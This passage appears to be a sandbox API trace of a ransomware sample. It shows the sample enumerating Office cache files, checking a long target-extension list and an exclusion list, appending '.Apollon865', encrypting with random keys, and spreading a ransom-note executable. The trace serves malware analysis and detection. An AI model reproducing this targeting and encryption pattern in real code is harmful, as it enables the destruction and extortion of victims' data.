	[0079.246] lstrcmpiW (lpString1=".cab", lpString2="wmdb") returned -1
	[0079.246] lstrlenW (lpString="wrk") returned 3
	[0079.246] lstrcmpiW (lpString1="cab", lpString2="wrk") returned -1
	[0079.246] lstrlenW (lpString="xdb") returned 3
	[0079.246] lstrcmpiW (lpString1="cab", lpString2="xdb") returned -1
	[0079.246] lstrlenW (lpString="xld") returned 3
	[0079.246] lstrcmpiW (lpString1="cab", lpString2="xld") returned -1
	[0079.246] lstrlenW (lpString="xmlff") returned 5
	[0079.246] lstrcmpiW (lpString1="R.cab", lpString2="xmlff") returned -1
	[0079.246] FindNextFileW (in: hFindFile=0x5ca110, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3e02ab00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x3e02ab00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xece1ee80, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x263e00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="ExcelMUI.msi", cAlternateFileName="")) returned 1
	[0079.246] lstrcmpiW (lpString1="ExcelMUI.msi", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0079.246] lstrcmpiW (lpString1="ExcelMUI.msi", lpString2="Apollon865.txt.exe") returned 1
	[0079.246] lstrcmpiW (lpString1="ExcelMUI.msi", lpString2=".") returned 1
	[0079.246] lstrcmpiW (lpString1="ExcelMUI.msi", lpString2="..") returned 1
	[0079.246] lstrcmpiW (lpString1="ExcelMUI.msi", lpString2="windows") returned -1
	[0079.247] lstrcmpiW (lpString1="ExcelMUI.msi", lpString2="bootmgr") returned 1
	[0079.247] lstrcmpiW (lpString1="ExcelMUI.msi", lpString2="temp") returned -1
	[0079.247] lstrcmpiW (lpString1="ExcelMUI.msi", lpString2="pagefile.sys") returned -1
	[0079.247] lstrcmpiW (lpString1="ExcelMUI.msi", lpString2="boot") returned 1
	[0079.247] lstrcmpiW (lpString1="ExcelMUI.msi", lpString2="ids.txt") returned -1
	[0079.247] lstrcmpiW (lpString1="ExcelMUI.msi", lpString2="ntuser.dat") returned -1
	[0079.247] lstrcmpiW (lpString1="ExcelMUI.msi", lpString2="perflogs") returned -1
	[0079.247] lstrcmpiW (lpString1="ExcelMUI.msi", lpString2="MSBuild") returned -1
	[0079.247] lstrlenW (lpString="ExcelMUI.msi") returned 12
	[0079.247] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelLR.cab") returned 74
	[0079.247] lstrcpyW (in: lpString1=0x2d3e5ce, lpString2="ExcelMUI.msi" | out: lpString1="ExcelMUI.msi") returned="ExcelMUI.msi"
	[0079.247] lstrlenW (lpString="ExcelMUI.msi") returned 12
	[0079.247] lstrlenW (lpString="Apollon865") returned 10
	[0079.247] lstrcmpiW (lpString1="celMUI.msi", lpString2="Apollon865") returned 1
	[0079.247] lstrlenW (lpString=".dll") returned 4
	[0079.247] lstrcmpiW (lpString1="ExcelMUI.msi", lpString2=".dll") returned 1
	[0079.247] lstrlenW (lpString=".lnk") returned 4
	[0079.247] lstrcmpiW (lpString1="ExcelMUI.msi", lpString2=".lnk") returned 1
	[0079.247] lstrlenW (lpString=".ini") returned 4
	[0079.247] lstrcmpiW (lpString1="ExcelMUI.msi", lpString2=".ini") returned 1
	[0079.247] lstrlenW (lpString=".sys") returned 4
	[0079.247] lstrcmpiW (lpString1="ExcelMUI.msi", lpString2=".sys") returned 1
	[0079.247] lstrlenW (lpString="ExcelMUI.msi") returned 12
	[0079.247] lstrlenW (lpString="bak") returned 3
	[0079.247] lstrcmpiW (lpString1="msi", lpString2="bak") returned 1
	[0079.247] lstrlenW (lpString="ba_") returned 3
	[0079.247] lstrcmpiW (lpString1="msi", lpString2="ba_") returned 1
	[0079.247] lstrlenW (lpString="dbb") returned 3
	[0079.247] lstrcmpiW (lpString1="msi", lpString2="dbb") returned 1
	[0079.247] lstrlenW (lpString="vmdk") returned 4
	[0079.247] lstrcmpiW (lpString1=".msi", lpString2="vmdk") returned -1
	[0079.247] lstrlenW (lpString="rar") returned 3
	[0079.247] lstrcmpiW (lpString1="msi", lpString2="rar") returned -1
	[0079.247] lstrlenW (lpString="zip") returned 3
	[0079.247] lstrcmpiW (lpString1="msi", lpString2="zip") returned -1
	[0079.248] lstrlenW (lpString="tgz") returned 3
	[0079.248] lstrcmpiW (lpString1="msi", lpString2="tgz") returned -1
	[0079.248] lstrlenW (lpString="vbox") returned 4
	[0079.248] lstrcmpiW (lpString1=".msi", lpString2="vbox") returned -1
	[0079.248] lstrlenW (lpString="vdi") returned 3
	[0079.248] lstrcmpiW (lpString1="msi", lpString2="vdi") returned -1
	[0079.248] lstrlenW (lpString="vhd") returned 3
	[0079.248] lstrcmpiW (lpString1="msi", lpString2="vhd") returned -1
	[0079.248] lstrlenW (lpString="vhdx") returned 4
	[0079.248] lstrcmpiW (lpString1=".msi", lpString2="vhdx") returned -1
	[0079.248] lstrlenW (lpString="avhd") returned 4
	[0079.248] lstrcmpiW (lpString1=".msi", lpString2="avhd") returned -1
	[0079.248] lstrlenW (lpString="db") returned 2
	[0079.248] lstrcmpiW (lpString1="si", lpString2="db") returned 1
	[0079.248] lstrlenW (lpString="db2") returned 3
	[0079.248] lstrcmpiW (lpString1="msi", lpString2="db2") returned 1
	[0079.248] lstrlenW (lpString="db3") returned 3
	[0079.248] lstrcmpiW (lpString1="msi", lpString2="db3") returned 1
	[0079.248] lstrlenW (lpString="dbf") returned 3
	[0079.248] lstrcmpiW (lpString1="msi", lpString2="dbf") returned 1
	[0079.248] lstrlenW (lpString="mdf") returned 3
	[0079.248] lstrcmpiW (lpString1="msi", lpString2="mdf") returned 1
	[0079.248] lstrlenW (lpString="mdb") returned 3
	[0079.248] lstrcmpiW (lpString1="msi", lpString2="mdb") returned 1
	[0079.248] lstrlenW (lpString="sql") returned 3
	[0079.248] lstrcmpiW (lpString1="msi", lpString2="sql") returned -1
	[0079.248] lstrlenW (lpString="sqlite") returned 6
	[0079.248] lstrcmpiW (lpString1="UI.msi", lpString2="sqlite") returned 1
	[0079.248] lstrlenW (lpString="sqlite3") returned 7
	[0079.248] lstrcmpiW (lpString1="MUI.msi", lpString2="sqlite3") returned -1
	[0079.248] lstrlenW (lpString="sqlitedb") returned 8
	[0079.248] lstrcmpiW (lpString1="lMUI.msi", lpString2="sqlitedb") returned -1
	[0079.248] lstrlenW (lpString="xml") returned 3
	[0079.248] lstrcmpiW (lpString1="msi", lpString2="xml") returned -1
	[0079.248] lstrlenW (lpString="$er") returned 3
	[0079.248] lstrcmpiW (lpString1="msi", lpString2="$er") returned 1
	[0079.249] lstrlenW (lpString="4dd") returned 3
	[0079.249] lstrcmpiW (lpString1="msi", lpString2="4dd") returned 1
	[0079.249] lstrlenW (lpString="4dl") returned 3
	[0079.249] lstrcmpiW (lpString1="msi", lpString2="4dl") returned 1
	[0079.249] lstrlenW (lpString="^^^") returned 3
	[0079.249] lstrcmpiW (lpString1="msi", lpString2="^^^") returned 1
	[0079.249] lstrlenW (lpString="abs") returned 3
	[0079.249] lstrcmpiW (lpString1="msi", lpString2="abs") returned 1
	[0079.249] lstrlenW (lpString="abx") returned 3
	[0079.249] lstrcmpiW (lpString1="msi", lpString2="abx") returned 1
	[0079.249] lstrlenW (lpString="accdb") returned 5
	[0079.249] lstrcmpiW (lpString1="I.msi", lpString2="accdb") returned 1
	[0079.249] lstrlenW (lpString="accdc") returned 5
	[0079.249] lstrcmpiW (lpString1="I.msi", lpString2="accdc") returned 1
	[0079.249] lstrlenW (lpString="accde") returned 5
	[0079.249] lstrcmpiW (lpString1="I.msi", lpString2="accde") returned 1
	[0079.249] lstrlenW (lpString="accdr") returned 5
	[0079.249] lstrcmpiW (lpString1="I.msi", lpString2="accdr") returned 1
	[0079.249] lstrlenW (lpString="accdt") returned 5
	[0079.249] lstrcmpiW (lpString1="I.msi", lpString2="accdt") returned 1
	[0079.249] lstrlenW (lpString="accdw") returned 5
	[0079.249] lstrcmpiW (lpString1="I.msi", lpString2="accdw") returned 1
	[0079.249] lstrlenW (lpString="accft") returned 5
	[0079.249] lstrcmpiW (lpString1="I.msi", lpString2="accft") returned 1
	[0079.249] lstrlenW (lpString="adb") returned 3
	[0079.249] lstrcmpiW (lpString1="msi", lpString2="adb") returned 1
	[0079.249] lstrlenW (lpString="adb") returned 3
	[0079.249] lstrcmpiW (lpString1="msi", lpString2="adb") returned 1
	[0079.249] lstrlenW (lpString="ade") returned 3
	[0079.249] lstrcmpiW (lpString1="msi", lpString2="ade") returned 1
	[0079.249] lstrlenW (lpString="adf") returned 3
	[0079.249] lstrcmpiW (lpString1="msi", lpString2="adf") returned 1
	[0079.249] lstrlenW (lpString="adn") returned 3
	[0079.249] lstrcmpiW (lpString1="msi", lpString2="adn") returned 1
	[0079.250] lstrlenW (lpString="adp") returned 3
	[0079.250] lstrcmpiW (lpString1="msi", lpString2="adp") returned 1
	[0079.250] lstrlenW (lpString="alf") returned 3
	[0079.250] lstrcmpiW (lpString1="msi", lpString2="alf") returned 1
	[0079.250] lstrlenW (lpString="ask") returned 3
	[0079.250] lstrcmpiW (lpString1="msi", lpString2="ask") returned 1
	[0079.250] lstrlenW (lpString="btr") returned 3
	[0079.250] lstrcmpiW (lpString1="msi", lpString2="btr") returned 1
	[0079.250] lstrlenW (lpString="cat") returned 3
	[0079.250] lstrcmpiW (lpString1="msi", lpString2="cat") returned 1
	[0079.250] lstrlenW (lpString="cdb") returned 3
	[0079.250] lstrcmpiW (lpString1="msi", lpString2="cdb") returned 1
	[0079.250] lstrlenW (lpString="ckp") returned 3
	[0079.250] lstrcmpiW (lpString1="msi", lpString2="ckp") returned 1
	[0079.250] lstrlenW (lpString="cma") returned 3
	[0079.250] lstrcmpiW (lpString1="msi", lpString2="cma") returned 1
	[0079.250] lstrlenW (lpString="cpd") returned 3
	[0079.250] lstrcmpiW (lpString1="msi", lpString2="cpd") returned 1
	[0079.250] lstrlenW (lpString="dacpac") returned 6
	[0079.250] lstrcmpiW (lpString1="UI.msi", lpString2="dacpac") returned 1
	[0079.250] lstrlenW (lpString="dad") returned 3
	[0079.250] lstrcmpiW (lpString1="msi", lpString2="dad") returned 1
	[0079.250] lstrlenW (lpString="dadiagrams") returned 10
	[0079.250] lstrcmpiW (lpString1="celMUI.msi", lpString2="dadiagrams") returned -1
	[0079.250] lstrlenW (lpString="daschema") returned 8
	[0079.250] lstrcmpiW (lpString1="lMUI.msi", lpString2="daschema") returned 1
	[0079.250] lstrlenW (lpString="db-journal") returned 10
	[0079.250] lstrcmpiW (lpString1="celMUI.msi", lpString2="db-journal") returned -1
	[0079.250] lstrlenW (lpString="db-shm") returned 6
	[0079.250] lstrcmpiW (lpString1="UI.msi", lpString2="db-shm") returned 1
	[0079.250] lstrlenW (lpString="db-wal") returned 6
	[0079.250] lstrcmpiW (lpString1="UI.msi", lpString2="db-wal") returned 1
	[0079.250] lstrlenW (lpString="dbc") returned 3
	[0079.250] lstrcmpiW (lpString1="msi", lpString2="dbc") returned 1
	[0079.250] lstrlenW (lpString="dbs") returned 3
	[0079.251] lstrcmpiW (lpString1="msi", lpString2="dbs") returned 1
	[0079.251] lstrlenW (lpString="dbt") returned 3
	[0079.251] lstrcmpiW (lpString1="msi", lpString2="dbt") returned 1
	[0079.251] lstrlenW (lpString="dbv") returned 3
	[0079.251] lstrcmpiW (lpString1="msi", lpString2="dbv") returned 1
	[0079.251] lstrlenW (lpString="dbx") returned 3
	[0079.251] lstrcmpiW (lpString1="msi", lpString2="dbx") returned 1
	[0079.251] lstrlenW (lpString="dcb") returned 3
	[0079.251] lstrcmpiW (lpString1="msi", lpString2="dcb") returned 1
	[0079.251] lstrcmpiW (lpString1="msi", lpString2="dct") returned 1
	[0079.251] lstrcpyW (in: lpString1=0x2d3e5ce, lpString2="ExcelMUI.xml" | out: lpString1="ExcelMUI.xml") returned="ExcelMUI.xml"
	[0079.251] lstrlenW (lpString="ExcelMUI.xml") returned 12
	[0079.251] lstrlenW (lpString="Apollon865") returned 10
	[0079.251] lstrcmpiW (lpString1="celMUI.xml", lpString2="Apollon865") returned 1
	[0079.251] lstrlenW (lpString=".dll") returned 4
	[0079.251] lstrcmpiW (lpString1="ExcelMUI.xml", lpString2=".dll") returned 1
	[0079.251] lstrlenW (lpString=".lnk") returned 4
	[0079.251] lstrcmpiW (lpString1="ExcelMUI.xml", lpString2=".lnk") returned 1
	[0079.251] lstrlenW (lpString=".ini") returned 4
	[0079.251] lstrcmpiW (lpString1="ExcelMUI.xml", lpString2=".ini") returned 1
	[0079.251] lstrlenW (lpString=".sys") returned 4
	[0079.251] lstrcmpiW (lpString1="ExcelMUI.xml", lpString2=".sys") returned 1
	[0079.251] lstrlenW (lpString="ExcelMUI.xml") returned 12
	[0079.251] wsprintfW (in: param_1=0x2d3d2e0, param_2="%s.%s" | out: param_1="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.xml.Apollon865") returned 86
	[0079.252] MoveFileExW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0016-0409-1000-0000000ff1ce}-c\\excelmui.xml"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.xml.Apollon865" (normalized: "c:\\msocache\\all users\\{90140000-0016-0409-1000-0000000ff1ce}-c\\excelmui.xml.apollon865"), dwFlags=0x1) returned 1
	[0079.252] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.xml.Apollon865" (normalized: "c:\\msocache\\all users\\{90140000-0016-0409-1000-0000000ff1ce}-c\\excelmui.xml.apollon865"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x88000080, hTemplateFile=0x0) returned 0xc0
	[0079.253] GetFileSizeEx (in: hFile=0xc0, lpFileSize=0x2d3e1e0 | out: lpFileSize=0x2d3e1e0*=1565) returned 1
	[0079.253] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x200300) returned 0x3060020
	[0079.253] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59ab78
	[0079.253] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x5bf4e0
	[0079.253] CryptAcquireContextW (in: phProv=0x2d3cf9c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf9c*=0x5bf5f0) returned 1
	[0079.254] CryptGenRandom (in: hProv=0x5bf5f0, dwLen=0x80, pbBuffer=0x2d3cfb0 | out: pbBuffer=0x2d3cfb0) returned 1
	[0079.254] CryptReleaseContext (hProv=0x5bf5f0, dwFlags=0x0) returned 1
	[0079.254] CreateFileMappingW (hFile=0xc0, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x920, lpName=0x0) returned 0xd8
	[0079.266] MapViewOfFile (hFileMappingObject=0xd8, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x920) returned 0x100000
	[0079.267] CryptAcquireContextW (in: phProv=0x2d3cf4c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf4c*=0x5bf5f0) returned 1
	[0079.268] CryptGenRandom (in: hProv=0x5bf5f0, dwLen=0x80, pbBuffer=0x2d3cf60 | out: pbBuffer=0x2d3cf60) returned 1
	[0079.268] CryptReleaseContext (hProv=0x5bf5f0, dwFlags=0x0) returned 1
	[0079.268] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59a998
	[0079.268] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a998 | out: hHeap=0x580000) returned 1
	[0079.268] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x100) returned 0x5c6668
	[0079.268] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b08e8
	[0079.268] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c6668 | out: hHeap=0x580000) returned 1
	[0079.268] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b0a00
	[0079.268] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x208) returned 0x5b2f60
	[0079.268] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b0a00 | out: hHeap=0x580000) returned 1
	[0079.268] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b2f60 | out: hHeap=0x580000) returned 1
	[0079.268] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b08e8 | out: hHeap=0x580000) returned 1
	[0079.268] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1
	[0079.269] CloseHandle (hObject=0xd8) returned 1
	[0079.269] CloseHandle (hObject=0xc0) returned 1
	[0079.269] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59ab78 | out: hHeap=0x580000) returned 1
	[0079.269] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bf4e0 | out: hHeap=0x580000) returned 1
	[0079.269] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x3060020 | out: hHeap=0x580000) returned 1
	[0079.269] FindNextFileW (in: hFindFile=0x5ca110, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x474b7a30, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x474b7a30, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1
	[0079.269] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0
	[0079.269] FindNextFileW (in: hFindFile=0x5ca110, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x43f88c00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x43f88c00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xee38cbf0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x8f8, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Setup.xml", cAlternateFileName="")) returned 1
	[0079.269] lstrcmpiW (lpString1="Setup.xml", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0079.269] lstrcmpiW (lpString1="Setup.xml", lpString2="Apollon865.txt.exe") returned 1
	[0079.269] lstrcmpiW (lpString1="Setup.xml", lpString2=".") returned 1
	[0079.269] lstrcmpiW (lpString1="Setup.xml", lpString2="..") returned 1
	[0079.269] lstrcmpiW (lpString1="Setup.xml", lpString2="windows") returned -1
	[0079.269] lstrcmpiW (lpString1="Setup.xml", lpString2="bootmgr") returned 1
	[0079.269] lstrcmpiW (lpString1="Setup.xml", lpString2="temp") returned -1
	[0079.269] lstrcmpiW (lpString1="Setup.xml", lpString2="pagefile.sys") returned 1
	[0079.269] lstrcmpiW (lpString1="Setup.xml", lpString2="boot") returned 1
	[0079.269] lstrcmpiW (lpString1="Setup.xml", lpString2="ids.txt") returned 1
	[0079.269] lstrcmpiW (lpString1="Setup.xml", lpString2="ntuser.dat") returned 1
	[0079.269] lstrcmpiW (lpString1="Setup.xml", lpString2="perflogs") returned 1
	[0079.269] lstrcmpiW (lpString1="Setup.xml", lpString2="MSBuild") returned 1
	[0079.269] lstrlenW (lpString="Setup.xml") returned 9
	[0079.269] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.xml") returned 75
	[0079.269] lstrcpyW (in: lpString1=0x2d3e5ce, lpString2="Setup.xml" | out: lpString1="Setup.xml") returned="Setup.xml"
	[0079.269] lstrlenW (lpString="Setup.xml") returned 9
	[0079.270] lstrlenW (lpString="Apollon865") returned 10
	[0079.270] lstrlenW (lpString=".dll") returned 4
	[0079.270] lstrcmpiW (lpString1="Setup.xml", lpString2=".dll") returned 1
	[0079.270] lstrlenW (lpString=".lnk") returned 4
	[0079.270] lstrcmpiW (lpString1="Setup.xml", lpString2=".lnk") returned 1
	[0079.270] lstrlenW (lpString=".ini") returned 4
	[0079.270] lstrcmpiW (lpString1="Setup.xml", lpString2=".ini") returned 1
	[0079.270] lstrlenW (lpString=".sys") returned 4
	[0079.270] lstrcmpiW (lpString1="Setup.xml", lpString2=".sys") returned 1
	[0079.270] lstrlenW (lpString="Setup.xml") returned 9
	[0079.270] wsprintfW (in: param_1=0x2d3d2e0, param_2="%s.%s" | out: param_1="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\Setup.xml.Apollon865") returned 83
	[0079.270] MoveFileExW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0016-0409-1000-0000000ff1ce}-c\\setup.xml"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\Setup.xml.Apollon865" (normalized: "c:\\msocache\\all users\\{90140000-0016-0409-1000-0000000ff1ce}-c\\setup.xml.apollon865"), dwFlags=0x1) returned 1
	[0079.274] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\Setup.xml.Apollon865" (normalized: "c:\\msocache\\all users\\{90140000-0016-0409-1000-0000000ff1ce}-c\\setup.xml.apollon865"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x88000080, hTemplateFile=0x0) returned 0xc0
	[0079.274] GetFileSizeEx (in: hFile=0xc0, lpFileSize=0x2d3e1e0 | out: lpFileSize=0x2d3e1e0*=2296) returned 1
	[0079.274] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x200300) returned 0x3060020
	[0079.275] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59ab78
	[0079.275] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x5bf4e0
	[0079.275] CryptAcquireContextW (in: phProv=0x2d3cf9c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf9c*=0x5bf5f0) returned 1
	[0079.275] CryptGenRandom (in: hProv=0x5bf5f0, dwLen=0x80, pbBuffer=0x2d3cfb0 | out: pbBuffer=0x2d3cfb0) returned 1
	[0079.276] CryptReleaseContext (hProv=0x5bf5f0, dwFlags=0x0) returned 1
	[0079.276] CreateFileMappingW (hFile=0xc0, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xc00, lpName=0x0) returned 0xd8
	[0079.277] MapViewOfFile (hFileMappingObject=0xd8, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xc00) returned 0x100000
	[0079.278] CryptAcquireContextW (in: phProv=0x2d3cf4c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf4c*=0x5bf5f0) returned 1
	[0079.279] CryptGenRandom (in: hProv=0x5bf5f0, dwLen=0x80, pbBuffer=0x2d3cf60 | out: pbBuffer=0x2d3cf60) returned 1
	[0079.279] CryptReleaseContext (hProv=0x5bf5f0, dwFlags=0x0) returned 1
	[0079.279] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59a998
	[0079.279] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a998 | out: hHeap=0x580000) returned 1
	[0079.279] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x100) returned 0x5c6668
	[0079.279] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b08e8
	[0079.279] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c6668 | out: hHeap=0x580000) returned 1
	[0079.279] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b0a00
	[0079.279] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x208) returned 0x5b28e8
	[0079.279] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b0a00 | out: hHeap=0x580000) returned 1
	[0079.279] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b28e8 | out: hHeap=0x580000) returned 1
	[0079.279] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b08e8 | out: hHeap=0x580000) returned 1
	[0079.279] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1
	[0079.279] CloseHandle (hObject=0xd8) returned 1
	[0079.279] CloseHandle (hObject=0xc0) returned 1
	[0079.280] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59ab78 | out: hHeap=0x580000) returned 1
	[0079.280] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bf4e0 | out: hHeap=0x580000) returned 1
	[0079.280] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x3060020 | out: hHeap=0x580000) returned 1
	[0079.280] FindNextFileW (in: hFindFile=0x5ca110, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x43f88c00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x43f88c00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xee38cbf0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x8f8, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Setup.xml", cAlternateFileName="")) returned 0
	[0079.280] FindClose (in: hFindFile=0x5ca110 | out: hFindFile=0x5ca110) returned 1
	[0079.280] RtlInterlockedPopEntrySList (in: ListHead=0x5b76b0 | out: ListHead=0x5b76b0) returned 0x5b7870
	[0079.280] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Documents and Settings", iMaxLength=260 | out: lpString1="C:\\Documents and Settings") returned="C:\\Documents and Settings"
	[0079.280] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5ca010 | out: hHeap=0x580000) returned 1
	[0079.280] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7868 | out: hHeap=0x580000) returned 1
	[0079.280] lstrlenW (lpString="C:\\Documents and Settings") returned 25
	[0079.280] lstrcatW (in: lpString1="", lpString2="C:\\Documents and Settings" | out: lpString1="C:\\Documents and Settings") returned="C:\\Documents and Settings"
	[0079.280] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0079.280] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Documents and Settings\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\documents and settings\\how to back your files.exe"), bFailIfExists=1) returned 0
	[0079.281] CreateFileW (lpFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x150
	[0079.281] GetLastError () returned 0x0
	[0079.281] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x1dc00) returned 0x5ecfb8
	[0079.281] ReadFile (in: hFile=0x150, lpBuffer=0x5ecfb8, nNumberOfBytesToRead=0x1dc00, lpNumberOfBytesRead=0x2d3e22c, lpOverlapped=0x0 | out: lpBuffer=0x5ecfb8*, lpNumberOfBytesRead=0x2d3e22c*=0x1dc00, lpOverlapped=0x0) returned 1
	[0079.281] CloseHandle (hObject=0x150) returned 1
	[0079.281] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5ecfb8 | out: hHeap=0x580000) returned 1
	[0079.282] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
